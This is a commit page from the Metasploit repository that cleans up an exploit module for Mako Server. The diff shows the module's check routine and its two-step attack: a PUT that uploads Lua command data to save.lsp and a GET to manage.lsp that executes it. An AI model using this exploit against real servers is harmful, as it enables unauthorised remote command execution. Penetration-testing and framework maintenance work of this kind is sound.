Skip to content

Commit 7213e6c

Browse files
committed
Fix rapid7#9133, makoserver_cmd_exec cleanup
1 parent 5288887 commit 7213e6c

File tree

1 file changed

+20
-12
lines changed

1 file changed

+20
-12
lines changed

modules/exploits/windows/http/makoserver_cmd_exec.rb

Lines changed: 20 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def initialize(info = {})
4242

4343
register_options(
4444
[
45-
OptString.new('URI', [true, 'URI path to the Mako Server app', '/'])
45+
OptString.new('TARGETURI', [true, 'URI path to the Mako Server app', '/'])
4646
]
4747
)
4848
end
@@ -53,17 +53,17 @@ def check
5353
# Send GET request to determine existence of save.lsp page
5454
res = send_request_cgi({
5555
'method' => 'GET',
56-
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp')
56+
'uri' => normalize_uri(target_uri.path, 'examples/save.lsp')
5757
}, 20)
5858

5959
# If response does not include "MakoServer.net", target is not viable.
60-
if res.headers['Server'] !~ /MakoServer.net/
60+
if res.headers['Server'] !~ /MakoServer\.net/
6161
vprint_warning('Target is not a Mako Server.')
6262
return CheckCode::Safe
6363
end
6464

6565
if res.body
66-
if res.body =~ /Incorrect usage/
66+
if res.body.include?('Incorrect usage')
6767
# We are able to determine that the server has a save.lsp page and
6868
# returns the correct output.
6969
vprint_status('Mako Server save.lsp returns correct ouput.')
@@ -80,7 +80,7 @@ def check
8080
return CheckCode::Unknown
8181
end
8282

83-
return CheckCode::Safe
83+
CheckCode::Safe
8484
end
8585

8686
def exploit
@@ -98,13 +98,16 @@ def exploit
9898
begin
9999
vprint_status('Sending PUT request to save.lsp...')
100100
send_request_cgi({
101-
'method' => 'PUT',
102-
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp?ex=2.1'),
103-
'ctype' => 'text/plain',
104-
'data' => cmd,
105-
'http' => {
101+
'method' => 'PUT',
102+
'uri' => normalize_uri(target_uri.path, 'examples/save.lsp'),
103+
'ctype' => 'text/plain',
104+
'data' => cmd,
105+
'headers' => {
106106
'X-Requested-With' => 'XMLHttpRequest',
107107
'Referer' => 'http://localhost/Lua-Types.lsp'
108+
},
109+
'vars_get' => {
110+
'ex' => '2.1'
108111
}
109112
}, 20)
110113
rescue StandardError => e
@@ -115,8 +118,13 @@ def exploit
115118
begin
116119
vprint_status('Sending GET request to manage.lsp...')
117120
send_request_cgi({
118-
'method' => 'GET',
119-
'uri' => normalize_uri(datastore['URI'], 'examples/manage.lsp?execute=true&ex=2.1&type=lua')
121+
'method' => 'GET',
122+
'uri' => normalize_uri(target_uri.path, 'examples/manage.lsp'),
123+
'vars_get' => {
124+
'execute' => 'true',
125+
'ex' => '2.1',
126+
'type' => 'lua'
127+
}
120128
}, 20)
121129
rescue StandardError => e
122130
fail_with(Failure::NoAccess, "Error: #{e}")

0 commit comments

Comments
 (0)